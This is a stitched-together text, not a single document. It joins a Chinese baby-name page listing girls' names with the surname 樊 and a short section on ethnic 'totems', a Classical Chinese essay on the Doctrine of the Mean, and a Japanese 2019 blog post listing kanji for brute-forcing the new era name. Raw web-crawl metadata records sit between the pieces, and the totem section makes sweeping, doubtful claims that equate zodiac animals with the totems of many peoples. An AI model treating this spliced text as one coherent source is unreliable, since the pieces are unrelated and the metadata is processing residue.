樊窈月 樊菁菁 樊尹菁 樊尹宛 樊宛缦 樊宛蔓 樊菁芸 樊丹芸 樊芸芸 樊尹芸 樊尹尹 樊蔓琼 樊缦旎 樊樊旎 樊云旎 樊芸旎 樊尹旎 樊吉旎 樊渝悦 樊渝佳 樊婧姝 樊妍琦 樊梓玥 樊玥怡 樊喻茜 樊珂玥 樊凌玥 樊凌月 樊露铧 樊露铧 樊晴姿 樊淼淼 樊妙可 樊露旖 樊云茜 樊熙梁 樊熙盈 樊熙芊 樊斓熙 樊忆熙 樊怡熙 樊云萧 樊梓云 樊慧云 樊思云 樊思梁 樊人西 樊谨菸 樊姝霓 樊霓仙 樊娴竺 樊倩浯 樊怡份 樊薇竹 樊苓榇 樊泊君 樊芊媛 樊芗萱 樊雨缨 樊颍朵 樊霓岑 樊麦雯 樊滢绫 樊付芸 樊玫廖 樊碌芯 樊思馨 樊滢戌 樊丽芡 樊杰琵 樊玫昙 樊蕴葶 樊妍火 樊香泷 樊樱陇 樊姣菊 樊欣佳 樊禹荥 樊岑佩 樊怡萱 樊姿旖 樊婵雨 樊薇婷 樊宛杏 樊珑茕 樊雅茎 樊蕴藐 樊雯琪 樊妍彤 樊思伶 樊镶雨 樊惠琪 樊佩伶 樊类蘅 樊霞月 樊碧岑 樊筱萱 樊雨莺 樊江樊 樊碧莲 樊薇菡 樊雨扬 樊怡洋 樊瑰洋 樊杏洋 樊芦个 樊蕾隰 樊娅骁 樊滢蔺 樊酊嫣 樊酊菖 樊娜溱 樊险昕 樊瑛褶 樊宛怡 樊俪欣 樊著竹 樊姿萦 樊藤颍 樊芗慧 樊滢鸯 樊婵吉 樊洁妍 樊意芹 樊鹊竹 樊薏朵 樊忆绵 樊禹嫣 樊禹滕 樊意晴 樊意真 樊意扉 樊意蕊 樊瀚雅 樊俐彤 樊荫颖 樊雨艳 樊芑彤 樊雨颍 樊俞雯 樊瑾萱 樊禹茗 樊禹馨 樊禹梦 樊颖姝 樊苏怡 樊佩琳 樊宠琳 樊绘琳 樊娉琳 樊韵琳 樊欣琳 樊贝杼 樊美荥 樊妍馨 樊优颖 樊镶芹 樊美娅 樊掳凰 樊烁方 樊丽竹 樊潘鹏 樊滢丛 樊淑琪 樊彤妮 樊妲岳 樊怡甸 樊芯琵 樊蓓蕾 樊圭谁 樊音禳 樊璎姬 樊姿惠 樊以梦 樊禧僻 樊奭朵 樊蕊菽 樊蕾萁 樊亭戌 樊琪韪 樊姿昙 樊妍鄄 樊茜琬 樊樊玫 樊倪瑶 樊丁瑶 樊旺出 樊贝一 樊静婴 樊禳姣 樊藕婉 樊灶莹 樊紫亢 樊紫丹 樊紫馨 樊识琶 樊妍茹 樊郭宇 樊妞菲 樊溅莞 樊藕淑 樊泌萁 樊贝洁 樊婉馨 樊娅伊 樊竺知 樊怡瑾 樊缨琴 樊蓉拓 樊芩朵 樊一葶 樊佳艳 樊柔晴 樊惠月 樊蕴昕 樊怡静 樊滢荷 樊娅萦 樊琎姗 樊葭蓓 樊婵樊 樊慧洪 樊叶珏 樊丁瑛 樊丽禾 樊怡朵 樊芦叶 樊璎葵 樊芦辍 樊穰葡 樊蕲毅 樊核雅 樊伯荫 樊飘禧 樊苹人 樊艳蔓 樊朵蕊 樊芩娴 樊诜若 樊绢曼 樊诗苓 樊卉彗 樊诗茹 樊琳艳 樊琬滢 樊芝蕴 樊荻依 樊灵琳 樊尼滢 樊苹烁 樊岑檄 樊良蕖 樊吵澶 樊杏霞 樊莞雅 樊铛馨 樊子藜 樊子砻 樊笫田 樊樱颍 樊蝶伍 樊藜檬 樊竭恋 樊嫣兰 樊月辗 樊尤茑 樊蓓俪 樊阚一 樊芳莹 樊裳禳 樊寓姿 樊蜇竺 樊濑莺 樊玲许 樊鸥滢 樊倪钏 樊琶鹦 樊珲倩 樊铴一 樊莞姗 樊刁薇 樊拱嫣 樊蓝览 樊脐俪 樊岿誉 樊氏篮 樊姬若 樊篮蕴 樊笕欣 樊谷妃 樊璁莺 樊静卉 樊芙霓 樊茵芯 樊尹菡 樊有蕊 樊蕴颖 樊蓝藩 樊藐莺 樊莉婧 樊芹雨 樊含宁 樊峪凰 樊瑙梦 樊雅垴 樊丁邝 樊藐琬 樊颜合 樊芬峥 樊菱盎 樊婷懿 樊甜尼 樊彤菡 樊贝嫣 樊出娉 樊霍茵 樊娉巾 樊芙弓 樊有骞 樊佳育 樊家好 樊佳好 樊乐萱 樊奚彤 樊傻 樊一德 樊静月 樊乐嘉 樊艾嘉 樊艾佳 樊羽飞 樊蕴弋 樊芩颖 樊允婕 樊菡俶 樊婼桐 樊慕桐 樊麦乐 樊小夏 樊思琪 樊文歆 樊倦皎 樊倩圊 樊洳婉 樊馨妍 樊依姿 樊一姿 樊田田 樊田茜 樊哲骊 樊曼 樊婧蕾 樊熙蕾 樊雪熙 樊紫美 樊紫美 樊颀诗 樊莎琳 樊书宁 樊宁书 樊菡彤 樊友禧 樊荻苞 樊岑婕 樊琳鹦 樊馨舆 樊菊妞 樊雅晴 樊天欣 樊轩欣 樊轩瑶 樊咏欣 樊咏恩 樊茜盈 樊芷彤 樊芷瑶 樊雅旋 樊伊琳 樊紫盈 樊茜莹 樊咏瑶 樊苑莹 樊宝旎 樊小云 樊汐蔓 樊汐妮 樊汐婉 樊婉妮 樊婉旎 樊婉淇 樊乐雯 樊永计 樊雅旎 樊雅乐 樊俊玲 樊俊林 樊乐蔓 樊乐莎 樊乐淇 樊乐宛 樊宛婷 樊宛宛 樊宛玲 樊苑梓 樊苑茜 樊苑妮 樊菁妮 樊芙扬 樊涵菡 樊哲雅 樊欢 樊大琴 樊小芹 樊小琴 樊晓琴 樊娜\n图腾神话历史独具一格,绚丽多彩、是人类历史上寻找半人半兽的图腾圣物的一种徽号。同一图腾集团的成员是一个整体。例如不断融合其他氏族部落文化,逐渐由蛇演变为龙......\n各族图腾:\n汉族的图腾:鼠、牛、虎、兔、龙、蛇、马、羊、猴、鸡、狗、猪。\n蒙古族的图腾:鼠、牛、虎、兔、龙、蛇、马、羊、猴、鸡、狗、猪。\n哈萨克族的图腾:鼠、牛、虎、兔、龙、蛇、马、羊、猴、鸡、狗、猪。\n维吾尔族的图腾:鼠、牛、虎、兔、鱼、蛇、马、羊、猴、鸡、狗、猪。\n傣族的图腾:象、牛、虎、鼠、龙、蛇、马、蚁、猿、鸡、狗、猪。\n贵西彝族的图腾:龙、凤、马、蚁、人、鸡、狗、猪、雀、牛、虎、蛇。\n哀牢山彝族的图腾:虎、兔、穿山甲、蛇、马、羊、猴、鸡、狗、猪、鼠、牛。\n海南通什毛道村黎族的图腾:鼠、牛、虫、兔、龙、鱼、肉、人、猴、鸡、狗、猪。\n古印度的图腾:鼠、牛、狮、兔、龙、蛇、马、羊、猴、鸡、狗、猪。\n古巴比伦的图腾:猫、犬、蛇、蜣螂、驴、狮、公羊、公牛、隼、猴、鳄、红鹤。\n古埃及的图腾:牦牛、山羊、狮、驴、蟹、蛇、狗、猫、鳄、红鹤、猿、鹰。\n姓者,统其祖考之所自出;氏者,别其子孙之所自分。姓氏图腾可以代表该姓立姓时的信息。\n百家姓姓氏图腾之樊姓图腾:\n2009-2018 名字大全(www.MingZi.cn) 辽ICP备14017459号\n男孩名字大全、女孩名字大全、名字测试打分、取名字大全","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.mingzi.cn\/nvhai\/451665.html","date":"2019-10-15T10:12:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986657949.34\/warc\/CC-MAIN-20191015082202-20191015105702-00476.warc.gz","language":"lzh","language_score":0.4233829379,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4233829379081726, \"cmn_Hani_score\": 0.22315314412117004, \"und_Kits_score\": 0.09857870638370514, \"nan_Hani_score\": 0.09225612878799438, \"wuu_Hani_score\": 0.05173614248633385, \"jpn_Jpan_score\": 0.03016786463558674, \"yue_Hani_score\": 0.023610135540366173}","num_words":1180,"character_repetition_ratio":0.017,"word_repetition_ratio":0.0,"special_characters_ratio":0.26,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.426,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"應詔集中庸論上\n甚矣,道之難明也。論其著者,鄙滯而不通;論其微者,汗漫不可考。其弊始於昔之儒者,求為聖人之道而無所得,於是務為不可知之文,庶幾乎後世之以我為深知之也。後之儒者,見其難知,而不知其空虛無有,以為將有所深造乎道者,而自恥其不能,則從而和之曰然。相欺以為高,相習以為深,而聖人之道日以遠矣。\n自子思作中庸,儒者皆祖之,以為性命之說。嗟夫,子思者,豈亦斯人之徒歟?蓋嘗試論之。夫中庸者,孔氏之遺書而不完者也。其要有三而已矣。三者是周公、孔子之所從以為聖人,而其虛詞蔓延,是儒者之所以為文也。是故去其虛詞而取其三。其始論誠明之所入,其次論聖人之道所從始,推而至於其所終極,而其卒乃始內之於中庸。蓋以為聖人之道,略見於此矣。\n記曰:「自誠明謂之性,自明誠謂之教。誠則明矣,明則誠矣。」夫誠者,何也?樂之之謂也。樂之則自信,故曰誠。夫明者,何也?知之之謂也。知之則達,故曰明。夫惟聖人,知之者未至,而樂之者先入,先入者為主,而待其餘,則是樂之者為主也。若夫賢人樂之者未至,而知之者先入,先入者為主,而待其餘,則是知之者為主也。樂之者為主,是故有所不知,知之未嘗不行。知之者為主,是故雖無所不知,而有所不能行。子曰:「知之者,不如好之者,好之者,不如樂之者。」知之者與樂之者,是賢人、聖人之辨也。好之者,是賢人之所由以求誠者也。君子之為學,慎乎其始。何則?其所先入者,重也。知之多而未能樂焉,則是不如不知之愈也。人之好惡,莫如好色而惡臭,是人之性也。好善如好色,惡惡如惡臭,是聖人之誠也。故曰「自誠明謂之性」。\n孔子蓋長而好學,適周觀禮,問於老聃、師襄之徒,而後明於禮樂。五十而後讀易,蓋亦有晚而後知者。然其所先得於聖人者,是樂之而已。孔子厄於陳、蔡之間,問於子路、子貢,二子不悅,而子貢又欲少貶焉。是二子者非不知也,其所以樂之者未至也。且夫子路能死於衛,而不能不慍於陳、蔡,是豈其知之罪耶。故夫弟子之所為從孔子遊者,非專以求聞其所未聞,蓋將以求樂其所有也。明而不誠,雖挾其所有,倀倀乎不知所以安之,茍不知所以安之,則是可與居安,而未可與居憂患也。夫惟憂患之至,而後誠明之辨乃可以見。由此觀之,君子安可以不誠哉。","id":"","dump":"CC-MAIN-2021-49","url":"http:\/\/www.xn--5rtnx620bw5s.tw\/i\/i04\/7026.htm","date":"2021-12-02T12:59:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362219.5\/warc\/CC-MAIN-20211202114856-20211202144856-00250.warc.gz","language":"lzh","language_score":0.7156211734,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.7156211733818054, \"cmn_Hani_score\": 0.17275013029575348, \"nan_Hani_score\": 0.10068141669034958}","num_words":5,"character_repetition_ratio":0.02,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.821,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"新元号は常用漢字から選ばれるというので、Twitter上でいんぐらむ(@kazuokiriyama_)さんが常用漢字2文字の組み合わせ約228万通りを公開して話題になりました。つまり、新元号が事前に流出してしまうと、差し替えなければならないという決まりがあるわけですが、すべての組み合わせを事前に公表しておけば、差し替える候補がなくなって困るだろうという洒落ですね。\nところが調べてみると、常用漢字は2,136文字(2010年6月7日 改定常用漢字表)なので、2文字の組み合わせは2136^2=4,562,496となり、いんぐらむさんの作った組み合わせの2倍程度はある。\nそこで、自分でも同じことをやってみようと思った次第です。\n常用漢字以外から元号が決まることも想定し、\n① 常用漢字\n② ①に含まれない人名用漢字\n③ ①②に含まれないかつての元号に用いられた漢字\n合計3,068文字を使い、3068^2=9,412,624通りの元号候補を静的なhtmlファイルに書き出しました。\nポイントは作成日を明記したhtmlファイルにしたことです。単に組み合わせをDBに登録して動的にページを作れば、「いつ作成したか」が曖昧になるので、元号発表より前に予測していたと証明できない。そこで作成日がわかる静的ファイルとして生成しています。\n下が元号候補作成に用いた漢字の一覧です。これで当たらなきゃ嘘ですが、若干不安なのは、常用漢字・人名用漢字にはかつて存在して削除されたものもあるので、それらの文字が採用されればハズレになることです。\n逆に言えば、関係筋の方が万が一このページをご覧になって、「予測されちゃってるよ。ヤバいぞ」ということになれば、それらの漢字から選んでいただける余地を残したとも言えます。(平成31年3月1日記)\n亜 哀 挨 愛 曖 悪 握 圧 扱 宛 嵐 安 案 暗 以 衣 位 囲 医 依 委 威 為 畏 胃 尉 異 移 萎 偉 椅 彙 意 違 維 慰 遺 緯 域 育 一 壱 逸 茨 芋 引 印 因 咽 姻 員 院 淫 陰 飲 隠 韻 右 宇 羽 雨 唄 鬱 畝 浦 運 雲 永 泳 英 映 栄 営 詠 影 鋭 衛 易 疫 益 液 駅 悦 越 謁 閲 円 延 沿 炎 怨 宴 媛 援 園 煙 猿 遠 鉛 塩 演 縁 艶 汚 王 凹 央 応 往 押 旺 欧 殴 桜 翁 奥 横 岡 屋 億 憶 臆 虞 乙 俺 卸 音 恩 温 穏 下 化 火 加 可 仮 何 花 佳 価 果 河 苛 科 架 夏 家 荷 華 菓 貨 渦 過 嫁 暇 禍 靴 寡 歌 箇 稼 課 蚊 牙 瓦 我 画 芽 賀 雅 餓 介 回 灰 会 快 戒 改 怪 拐 悔 海 界 皆 械 絵 開 階 塊 楷 解 潰 壊 懐 諧 貝 外 劾 害 崖 涯 街 慨 蓋 該 概 骸 垣 柿 各 角 拡 革 格 核 殻 郭 覚 較 隔 閣 確 獲 嚇 穫 学 岳 楽 額 顎 掛 潟 括 活 喝 渇 割 葛 滑 褐 轄 且 株 釜 鎌 刈 干 刊 甘 汗 缶 完 肝 官 冠 巻 看 陥 乾 勘 患 貫 寒 喚 堪 換 敢 棺 款 間 閑 勧 寛 幹 感 漢 慣 管 関 歓 監 緩 憾 還 館 環 簡 観 韓 艦 鑑 丸 含 岸 岩 玩 眼 頑 顔 願 企 伎 危 机 気 岐 希 忌 汽 奇 祈 季 紀 軌 既 記 起 飢 鬼 帰 基 寄 規 亀 喜 幾 揮 期 棋 貴 棄 毀 旗 器 畿 輝 機 騎 技 宜 偽 欺 義 疑 儀 戯 擬 犠 議 菊 吉 喫 詰 却 客 脚 逆 虐 九 久 及 弓 丘 旧 休 吸 朽 臼 求 究 泣 急 級 糾 宮 救 球 給 嗅 窮 牛 去 巨 居 拒 拠 挙 虚 許 距 魚 御 漁 凶 共 叫 狂 京 享 供 協 況 峡 挟 狭 恐 恭 胸 脅 強 教 郷 境 橋 矯 鏡 競 響 驚 仰 暁 業 凝 曲 局 極 玉 巾 斤 均 近 金 菌 勤 琴 筋 僅 禁 緊 錦 謹 襟 吟 銀 区 句 苦 駆 具 惧 愚 空 偶 遇 隅 串 屈 掘 窟 熊 繰 君 訓 勲 薫 軍 郡 群 兄 刑 形 系 径 茎 係 型 契 計 恵 啓 掲 渓 経 蛍 敬 景 軽 傾 携 継 詣 慶 憬 稽 憩 警 鶏 芸 迎 鯨 隙 劇 撃 激 桁 欠 穴 血 決 結 傑 潔 月 犬 件 見 券 肩 建 研 県 倹 兼 剣 拳 軒 健 険 圏 堅 検 嫌 献 絹 遣 権 憲 賢 謙 鍵 繭 顕 験 懸 元 幻 玄 言 弦 限 原 現 舷 減 源 厳 己 戸 古 呼 固 股 虎 孤 弧 故 枯 個 庫 湖 雇 誇 鼓 錮 顧 五 互 午 呉 後 娯 悟 碁 語 誤 護 口 工 公 勾 孔 功 巧 広 甲 交 光 向 后 好 江 考 行 坑 孝 抗 攻 更 効 幸 拘 肯 侯 厚 恒 洪 皇 紅 荒 郊 香 候 校 耕 航 貢 降 高 康 控 梗 黄 喉 慌 港 硬 絞 項 溝 鉱 構 綱 酵 稿 興 衡 鋼 講 購 乞 号 合 拷 剛 傲 豪 克 告 谷 刻 国 黒 穀 酷 獄 骨 駒 込 頃 今 困 昆 恨 根 婚 混 痕 紺 魂 墾 懇 左 佐 沙 査 砂 唆 差 詐 鎖 座 挫 才 再 災 妻 采 砕 宰 栽 彩 採 済 祭 斎 細 菜 最 裁 債 催 塞 歳 載 際 埼 在 材 剤 財 罪 崎 作 削 昨 柵 索 策 酢 搾 錯 咲 冊 札 刷 刹 拶 殺 察 撮 擦 雑 皿 三 山 参 桟 蚕 惨 産 傘 散 算 酸 賛 残 斬 暫 士 子 支 止 氏 仕 史 司 四 市 矢 旨 死 糸 至 伺 志 私 使 刺 始 姉 枝 祉 肢 姿 思 指 施 師 恣 紙 脂 視 紫 詞 歯 嗣 試 詩 資 飼 誌 雌 摯 賜 諮 示 字 寺 次 耳 自 似 児 事 侍 治 持 時 滋 慈 辞 磁 餌 璽 鹿 式 識 軸 七 叱 失 室 疾 執 湿 嫉 漆 質 実 芝 写 社 車 舎 者 射 捨 赦 斜 煮 遮 謝 邪 蛇 尺 借 酌 釈 爵 若 弱 寂 手 主 守 朱 取 狩 首 殊 珠 酒 腫 種 趣 寿 受 呪 授 需 儒 樹 収 囚 州 舟 秀 周 宗 拾 秋 臭 修 袖 終 羞 習 週 就 衆 集 愁 酬 醜 蹴 襲 十 汁 充 住 柔 重 従 渋 銃 獣 縦 叔 祝 宿 淑 粛 縮 塾 熟 出 述 術 俊 春 瞬 旬 巡 盾 准 殉 純 循 順 準 潤 遵 処 初 所 書 庶 暑 署 緒 諸 女 如 助 序 叙 徐 除 小 升 少 召 匠 床 抄 肖 尚 招 承 昇 松 沼 昭 宵 将 消 症 祥 称 笑 唱 商 渉 章 紹 訟 勝 掌 晶 焼 焦 硝 粧 詔 証 象 傷 奨 照 詳 彰 障 憧 衝 賞 償 礁 鐘 上 丈 冗 条 状 乗 城 浄 剰 常 情 場 畳 蒸 縄 壌 嬢 錠 譲 醸 色 拭 食 植 殖 飾 触 嘱 織 職 辱 尻 心 申 伸 臣 芯 身 辛 侵 信 津 神 唇 娠 振 浸 真 針 深 紳 進 森 診 寝 慎 新 審 震 薪 親 人 刃 仁 尽 迅 甚 陣 尋 腎 須 図 水 吹 垂 炊 帥 粋 衰 推 酔 遂 睡 穂 随 髄 枢 崇 数 据 杉 裾 寸 瀬 是 井 世 正 生 成 西 声 制 姓 征 性 青 斉 政 星 牲 省 凄 逝 清 盛 婿 晴 勢 聖 誠 精 製 誓 静 請 整 醒 税 夕 斥 石 赤 昔 析 席 脊 隻 惜 戚 責 跡 積 績 籍 切 折 拙 窃 接 設 雪 摂 節 説 舌 絶 千 川 仙 占 先 宣 専 泉 浅 洗 染 扇 栓 旋 船 戦 煎 羨 腺 詮 践 箋 銭 潜 線 遷 選 薦 繊 鮮 全 前 善 然 禅 漸 膳 繕 狙 阻 祖 租 素 措 粗 組 疎 訴 塑 遡 礎 双 壮 早 争 走 奏 相 荘 草 送 倉 捜 挿 桑 巣 掃 曹 曽 爽 窓 創 喪 痩 葬 装 僧 想 層 総 遭 槽 踪 操 燥 霜 騒 藻 造 像 増 憎 蔵 贈 臓 即 束 足 促 則 息 捉 速 側 測 俗 族 属 賊 続 卒 率 存 村 孫 尊 損 遜 他 多 汰 打 妥 唾 堕 惰 駄 太 対 体 耐 待 怠 胎 退 帯 泰 堆 袋 逮 替 貸 隊 滞 態 戴 大 代 台 第 題 滝 宅 択 沢 卓 拓 託 濯 諾 濁 但 達 脱 奪 棚 誰 丹 旦 担 単 炭 胆 探 淡 短 嘆 端 綻 誕 鍛 団 男 段 断 弾 暖 談 壇 地 池 知 値 恥 致 遅 痴 稚 置 緻 竹 畜 逐 蓄 築 秩 窒 茶 着 嫡 中 仲 虫 沖 宙 忠 抽 注 昼 柱 衷 酎 鋳 駐 著 貯 丁 弔 庁 兆 町 長 挑 帳 張 彫 眺 釣 頂 鳥 朝 貼 超 腸 跳 徴 嘲 潮 澄 調 聴 懲 直 勅 捗 沈 珍 朕 陳 賃 鎮 追 椎 墜 通 痛 塚 漬 坪 爪 鶴 低 呈 廷 弟 定 底 抵 邸 亭 貞 帝 訂 庭 逓 停 偵 堤 提 程 艇 締 諦 泥 的 笛 摘 滴 適 敵 溺 迭 哲 鉄 徹 撤 天 典 店 点 展 添 転 塡 田 伝 殿 電 斗 吐 妬 徒 途 都 渡 塗 賭 土 奴 努 度 怒 刀 冬 灯 当 投 豆 東 到 逃 倒 凍 唐 島 桃 討 透 党 悼 盗 陶 塔 搭 棟 湯 痘 登 答 等 筒 統 稲 踏 糖 頭 謄 藤 闘 騰 同 洞 胴 動 堂 童 道 働 銅 導 瞳 峠 匿 特 得 督 徳 篤 毒 独 読 栃 凸 突 届 屯 豚 頓 貪 鈍 曇 丼 那 奈 内 梨 謎 鍋 南 軟 難 二 尼 弐 匂 肉 虹 日 入 乳 尿 任 妊 忍 認 寧 熱 年 念 捻 粘 燃 悩 納 能 脳 農 濃 把 波 派 破 覇 馬 婆 罵 拝 杯 背 肺 俳 配 排 敗 廃 輩 売 倍 梅 培 陪 媒 買 賠 白 伯 拍 泊 迫 剝 舶 博 薄 麦 漠 縛 爆 箱 箸 畑 肌 八 鉢 発 髪 伐 抜 罰 閥 反 半 氾 犯 帆 汎 伴 判 坂 阪 板 版 班 畔 般 販 斑 飯 搬 煩 頒 範 繁 藩 晩 番 蛮 盤 比 皮 妃 否 批 彼 披 肥 非 卑 飛 疲 秘 被 悲 扉 費 碑 罷 避 尾 眉 美 備 微 鼻 膝 肘 匹 必 泌 筆 姫 百 氷 表 俵 票 評 漂 標 苗 秒 病 描 猫 品 浜 貧 賓 頻 敏 瓶 不 夫 父 付 布 扶 府 怖 阜 附 訃 負 赴 浮 婦 符 富 普 腐 敷 膚 賦 譜 侮 武 部 舞 封 風 伏 服 副 幅 復 福 腹 複 覆 払 沸 仏 物 粉 紛 雰 噴 墳 憤 奮 分 文 聞 丙 平 兵 併 並 柄 陛 閉 塀 幣 弊 蔽 餅 米 壁 璧 癖 別 蔑 片 辺 返 変 偏 遍 編 弁 便 勉 歩 保 哺 捕 補 舗 母 募 墓 慕 暮 簿 方 包 芳 邦 奉 宝 抱 放 法 泡 胞 俸 倣 峰 砲 崩 訪 報 蜂 豊 飽 褒 縫 亡 乏 忙 坊 妨 忘 防 房 肪 某 冒 剖 紡 望 傍 帽 棒 貿 貌 暴 膨 謀 頰 北 木 朴 牧 睦 僕 墨 撲 没 勃 堀 本 奔 翻 凡 盆 麻 摩 磨 魔 毎 妹 枚 昧 埋 幕 膜 枕 又 末 抹 万 満 慢 漫 未 味 魅 岬 密 蜜 脈 妙 民 眠 矛 務 無 夢 霧 娘 名 命 明 迷 冥 盟 銘 鳴 滅 免 面 綿 麺 茂 模 毛 妄 盲 耗 猛 網 目 黙 門 紋 問 冶 夜 野 弥 厄 役 約 訳 薬 躍 闇 由 油 喩 愉 諭 輸 癒 唯 友 有 勇 幽 悠 郵 湧 猶 裕 遊 雄 誘 憂 融 優 与 予 余 誉 預 幼 用 羊 妖 洋 要 容 庸 揚 揺 葉 陽 溶 腰 様 瘍 踊 窯 養 擁 謡 曜 抑 沃 浴 欲 翌 翼 拉 裸 羅 来 雷 頼 絡 落 酪 辣 乱 卵 覧 濫 藍 欄 吏 利 里 理 痢 裏 履 璃 離 陸 立 律 慄 略 柳 流 留 竜 粒 隆 硫 侶 旅 虜 慮 了 両 良 料 涼 猟 陵 量 僚 領 寮 療 瞭 糧 力 緑 林 厘 倫 輪 隣 臨 瑠 涙 累 塁 類 令 礼 冷 励 戻 例 鈴 零 霊 隷 齢 麗 暦 歴 列 劣 烈 裂 恋 連 廉 練 錬 呂 炉 賂 路 露 老 労 弄 郎 朗 浪 廊 楼 漏 籠 六 録 麓 論 和 話 賄 脇 惑 枠 湾 腕 嘉 亨 弘 昌 禎 禄 祚 雉 尭 巌 晃 桧 槙 渚 猪 琢 祢 祐 祷 禄 禎 穣 萌 遥 丑 丞 乃 之 乎 也 云 亘 亙 些 亦 亥 亨 亮 仔 伊 伍 伽 佃 佑 伶 侃 侑 俄 俠 俣 俐 倭 俱 倦 倖 偲 傭 儲 允 兎 兜 其 冴 凌 凜 凧 凪 凰 凱 函 劉 劫 勁 勺 勿 匁 匡 廿 卜 卯 卿 厨 厩 叉 叡 叢 叶 只 吾 吞 吻 哉 哨 啄 哩 喬 喧 喰 喋 嘩 嘉 嘗 噌 噂 圃 圭 坐 坦 埴 堰 堺 堵 塙 壕 壬 夷 奄 奎 套 娃 姪 姥 娩 嬉 孟 宏 宋 宕 宥 寅 寓 寵 尖 尤 屑 峨 峻 崚 嵯 嵩 嶺 巫 已 巳 巴 巷 巽 帖 幌 幡 庄 庇 庚 庵 廟 廻 弘 弛 彗 彦 彪 彬 徠 忽 怜 恢 恰 恕 悌 惟 惚 悉 惇 惹 惺 惣 慧 憐 戊 或 戟 托 按 挺 挽 掬 捲 捷 捺 捧 掠 揃 摑 摺 撒 撰 撞 播 撫 擢 孜 敦 斐 斡 斧 斯 於 旭 昂 昊 昏 昌 昴 晏 晒 晋 晟 晦 晨 智 暉 暢 曙 曝 曳 朋 朔 杏 杖 杜 李 杭 杵 杷 枇 柑 柴 柘 柊 柏 柾 柚 栞 桔 桂 栖 桐 栗 梧 梓 梢 梛 梯 桶 梶 椛 梁 棲 椋 椀 楯 楚 楕 椿 楠 楓 椰 楢 楊 榎 樺 榊 榛 槍 槌 樫 槻 樟 樋 橘 樽 橙 檎 檀 櫂 櫛 櫓 欣 欽 歎 此 殆 毅 毘 毬 汀 汝 汐 汲 沌 沓 沫 洸 洲 洵 洛 浩 浬 淵 淳 淀 淋 渥 渾 湘 湊 湛 溢 滉 溜 漱 漕 漣 澪 濡 瀕 灘 灸 灼 烏 焰 焚 煌 煤 煉 熙 燕 燎 燦 燭 燿 爾 牒 牟 牡 牽 犀 狼 獅 玖 珂 珈 珊 珀 玲 琉 瑛 琥 琶 琵 琳 瑚 瑞 瑶 瑳 瓜 瓢 甥 甫 畠 畢 疋 疏 皐 皓 眸 瞥 矩 砦 砥 砧 硯 碓 碗 碩 碧 磐 磯 祇 禽 禾 秦 秤 稀 稔 稟 稜 穹 穿 窄 窪 窺 竣 竪 竺 竿 笈 笹 笙 笠 筈 筑 箕 箔 篇 篠 簞 簾 籾 粥 粟 糊 紘 紗 紐 絃 紬 絆 絢 綺 綜 綴 緋 綾 綸 縞 徽 繫 繡 纂 纏 羚 翔 翠 耀 而 耶 耽 聡 肇 肋 肴 胤 胡 脩 腔 脹 膏 臥 舜 舵 芥 芹 芭 芙 芦 苑 茄 苔 苺 茅 茉 茸 茜 莞 荻 莫 莉 菅 菫 菖 萄 菩 萊 菱 葦 葵 萱 葺 萩 董 葡 蓑 蒔 蒐 蒼 蒲 蒙 蓉 蓮 蔭 蔣 蔦 蓬 蔓 蕎 蕨 蕉 蕃 蕪 薙 蕾 蕗 藁 薩 蘇 蘭 蝦 蝶 螺 蟬 蟹 蠟 衿 袈 袴 裡 裟 裳 襖 訊 訣 註 詢 詫 誼 諏 諄 諒 謂 諺 讃 豹 貰 賑 赳 跨 蹄 蹟 輔 輯 輿 轟 辰 辻 迂 迄 辿 迪 迦 這 逞 逗 逢 遁 遼 邑 祁 郁 鄭 酉 醇 醐 醍 醬 釉 釘 釧 銑 鋒 鋸 錘 錐 錆 錫 鍬 鎧 閃 閏 閤 阿 陀 隈 隼 雀 雁 雛 雫 霞 靖 鞄 鞍 鞘 鞠 鞭 頁 頌 頗 顚 颯 饗 馨 馴 馳 駕 駿 驍 魁 魯 鮎 鯉 鯛 鰯 鱒 鱗 鳩 鳶 鳳 鴨 鴻 鵜 鵬 鷗 鷲 鷺 鷹 麒 麟 麿 黎 黛 鼎 亞 惡 爲 榮 衞 圓 緣 薗 應 櫻 奧 橫 溫 價 壞 懷 樂 渴 卷 陷 寬 氣 僞 戲 虛 峽 狹 曉 駈 勳 薰 惠 揭 鷄 藝 擊 縣 儉 劍 險 圈 檢 顯 驗 嚴 廣 恆 黃 國 黑 碎 雜 兒 濕 實 壽 收 從 澁 獸 縱 緖 諸 敍 將 祥 涉 燒 奬 條 狀 乘 淨 剩 疊 孃 讓 釀 神 眞 寢 愼 盡 粹 醉 穗 瀨 齊 靜 攝 專 戰 纖 禪 壯 爭 莊 搜 巢 曾 裝 瘦 騷 增 藏 臟 卽 帶 滯 瀧 單 團 彈 晝 鑄 廳 徵 聽 鎭 轉 傳 都 嶋 燈 盜 稻 德 拜 盃 賣 髮 拔 晚 祕 冨 福 拂 佛 步 峯 飜 每 萬 默 埜 彌 藥 與 搖 樣 謠 來 賴 覽 欄 龍 虜 凉 綠 淚 壘 類 禮 曆 歷 鍊 郞 朗 廊 錄 亞 惡 爲 衞 應 櫻 奧 價 壞 懷 樂 渴 卷 陷 氣 僞 戲 峽 狹 曉 勳 惠 揭 鷄 藝 縣 儉 劍 險 圈 檢 顯 驗 嚴 廣 恆 國 碎 雜 兒 濕 壽 收 從 澁 獸 縱 敍 將 燒 奬 條 乘 淨 剩 疊 孃 讓 釀 眞 寢 愼 盡 粹 醉 穗 齊 靜 攝 專 戰 纖 禪 壯 爭 莊 搜 裝 騷 增 藏 臟 帶 滯 單 團 彈 晝 鑄 廳 聽 鎭 轉 傳 燈 盜 稻 拜 賣 髮 拔 祕 拂 佛 飜 默 藥 與 搖 樣 謠 來 覽 龍 壘 亙 巖 彌 祿 